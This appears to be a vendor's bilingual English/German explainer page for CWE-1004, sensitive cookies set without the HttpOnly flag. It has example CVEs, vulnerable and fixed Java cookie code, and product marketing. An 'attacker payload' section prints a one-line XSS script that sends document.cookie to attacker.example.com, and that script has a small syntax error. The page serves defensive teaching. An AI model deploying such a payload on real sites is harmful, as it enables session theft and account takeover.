CWE-1004 Variant Incomplete Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Definition

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Auswirkungen in der Praxis

Real-world CVEs caused by CWE-1004

  • Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • Appliance for managing encrypted communications does not use HttpOnly flag.

Wie Angreifer es ausnutzen

Angreiferpfad Schritt für Schritt

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Verwundbares Codebeispiel

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Verwundbar Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Angreifer-Payload

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Angreifer-Payload JavaScript
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Sicheres Codebeispiel

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Sicher Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Präventions-Checkliste

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Erkennungssignale

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Plexicus Auto-Fix

Plexicus erkennt CWE-1004 automatisch und öffnet in unter 60 Sekunden einen Fix-PR.

Codex Remedium scannt jeden Commit, identifiziert genau diese Schwachstelle und liefert einen reviewer-ready Pull Request mit dem Patch. Keine Tickets. Keine Hand-offs.

Häufig gestellte Fragen

Frequently asked questions

Was ist CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Wie gravierend ist CWE-1004?

MITRE stuft die Exploit-Wahrscheinlichkeit als mittel ein — eine Ausnutzung ist realistisch, erfordert aber meist bestimmte Bedingungen.

Welche Sprachen oder Plattformen sind von CWE-1004 betroffen?

MITRE lists the following affected platforms: Web Based.

Wie kann ich CWE-1004 verhindern?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Wie erkennt und behebt Plexicus CWE-1004?

Die SAST-Engine von Plexicus erkennt die Datenfluss-Signatur von CWE-1004 bei jedem Commit. Bei einem Treffer öffnet unser Codex-Remedium-Agent einen Fix-PR mit korrigiertem Code, Tests und einer einzeiligen Zusammenfassung für den Reviewer.

Wo erfahre ich mehr über CWE-1004?

MITRE veröffentlicht die kanonische Definition unter https://cwe.mitre.org/data/definitions/1004.html. Für ergänzende Hinweise kannst du auch die OWASP- und NIST-Dokumentation heranziehen.

Bereit, wenn du es bist

Schluss mit dem Bezahlen pro Entwickler.
Schließ den Kreislauf.

Plexicus ist die KI-native ASPM, die scannt, filtert, fixt, pentestet und erklärt — autonom. Unbegrenzte Entwickler, unbegrenzte Repos, Fair-Use-KI-Aktionen. Echter kostenloser Tarif, €269/mo jährlich, wenn du bereit bist.